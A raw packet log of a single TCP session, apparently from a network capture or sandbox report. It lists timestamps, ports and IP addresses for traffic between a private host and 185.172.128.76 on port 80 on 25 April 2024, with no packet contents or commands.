Apr 25, 2024 14:42:10.421130896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.421175957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.421211004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.421226025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.421257973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.467324972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.467364073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.467389107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.467410088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.467447996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.467483044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.467497110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.467520952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.467529058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.467559099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.467566013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.467595100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.467597008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.467642069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468321085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468358994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468370914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468396902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468405008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468436003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468444109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468481064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468504906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468584061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468719959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468772888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468808889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468852043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468880892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468934059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.468938112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.468977928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469010115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469047070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469063044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469090939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469131947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469178915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469202042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469238997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469249010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469281912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469358921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469403982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469521046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469566107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469661951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469701052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469710112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469736099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469746113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469779968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469837904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469882965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.469942093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469979048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.469995975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470029116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470065117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470108986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470220089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470263958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470273018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470314980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470503092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470537901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470546961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470576048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470581055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470622063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470633984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470671892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470680952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470711946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470719099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470751047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470758915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470797062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470824003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470860004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470870972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470897913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.470904112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470942020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.470972061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471008062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471018076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471043110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471051931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471081018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471092939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471124887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471261978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471313953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471540928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471595049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471607924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471657038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471678972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471725941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471811056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471852064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.471863985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471896887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.471963882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.472002029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.472013950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.472039938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.472043037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.472075939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.472086906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.472124100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.472134113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.472181082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.472238064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.472284079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.472310066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.472357035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475156069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475219965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475220919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475259066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475270987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475297928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475306988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475332975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475344896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475370884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475379944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475409031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475420952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475446939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475456953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475481033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475493908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475517988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475522041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475555897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475562096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475594997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475604057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475637913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475640059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475676060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475687027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475723982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475728989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475764036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475775957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475800991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475809097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475838900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475848913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475877047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475883007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475913048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475928068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475953102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.475959063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.475991964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476001978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476030111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476041079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476066113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476073980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476111889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476119041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476156950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476165056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476193905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476205111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476227999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476242065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476265907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476274967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476304054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476315022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476341009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476351023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476378918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476386070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476417065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476428986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476454973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476465940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476490021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476504087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476527929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476535082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476566076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476573944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476603985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476613998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476638079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.476651907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.476684093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.513325930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.513365984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.513381004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.513411999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.513426065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.513461113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.513473034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.513506889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.521747112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.521820068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.521869898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.521912098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.521934032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.521956921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.521986008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522032022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522090912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522145987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522500038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522538900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522562981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522578001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522586107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522617102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522624016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522655010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522663116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522705078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522736073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522773027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522787094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522819996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522844076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522891998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522896051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522931099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.522967100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.522967100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523000956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523060083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523072004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523122072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523169041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523221016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523268938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523324966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523400068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523448944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523468971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523502111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523562908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523663044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523715019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523746967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523792028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523823977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523860931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523879051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523905993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.523932934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.523982048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524004936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524041891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524051905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524075985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524089098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524123907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524168968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524205923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524209023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524245024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524250984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524287939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524516106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524569035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524667978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524722099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524802923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524853945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524889946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.524944067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.524991989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525046110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525077105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525122881 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525151014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525183916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525198936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525228024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525254965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525294065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525305033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525347948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525362968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525397062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525445938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525468111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525513887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525782108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525821924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525840044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525866032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.525947094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.525991917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.526035070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.526072979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.526087046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.526110888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.526115894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.526154041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.526242018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.526304007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.526386023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.526437044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.527916908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.527971983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.527997971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528032064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528040886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528069019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528074026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528112888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528161049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528199911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528214931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528233051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528244972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528275013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528304100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528342009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528347969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528381109 CEST	80	49731	185.172.128.76	192.168.2.4
